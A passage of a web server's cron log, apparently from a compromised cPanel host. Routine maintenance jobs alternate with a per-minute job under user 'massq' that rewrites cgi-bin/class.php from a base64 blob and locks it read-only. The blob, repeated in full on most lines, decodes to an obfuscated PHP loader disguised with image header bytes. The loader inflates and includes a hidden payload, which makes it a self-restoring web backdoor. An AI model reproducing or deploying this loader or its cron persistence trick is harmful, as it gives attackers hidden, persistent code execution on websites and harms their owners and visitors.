BRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:06:01 server CROND[3357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:06:01 server CROND[3358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:06:01 server CROND[3359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:07:01 server CROND[3750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:07:01 server CROND[3751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:07:01 server CROND[3752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:08:01 server CROND[4140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:08:01 server CROND[4141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:08:01 server CROND[4142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:09:01 server CROND[4524]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 19:09:01 server CROND[4525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:09:01 server CROND[4527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:09:01 server CROND[4528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:10:01 server CROND[5028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:10:01 server CROND[5029]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:10:01 server CROND[5031]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 19:10:01 server CROND[5034]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 19:10:01 server CROND[5035]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:10:01 server CROND[5033]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 19:10:01 server CROND[5037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:10:01 server CROND[5032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:11:01 server CROND[5869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:11:01 server CROND[5871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:11:01 server CROND[5870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:12:01 server CROND[6248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:12:01 server CROND[6249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:12:01 server CROND[6250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:12:01 server CROND[6251]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 19:13:01 server CROND[6632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:13:01 server CROND[6639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:13:01 server CROND[6640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:14:01 server CROND[7244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:14:01 server CROND[7245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:14:01 server CROND[7246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:15:01 server CROND[7635]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:15:01 server CROND[7636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:15:01 server CROND[7639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:15:01 server CROND[7640]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 19:15:01 server CROND[7642]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 19:15:01 server CROND[7644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:15:01 server CROND[7646]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:15:01 server CROND[7643]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 19:16:01 server CROND[8569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:16:01 server CROND[8571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:16:01 server CROND[8570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:17:01 server CROND[8942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:17:01 server CROND[8943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:17:01 server CROND[8944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:18:01 server CROND[9387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:18:01 server CROND[9388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
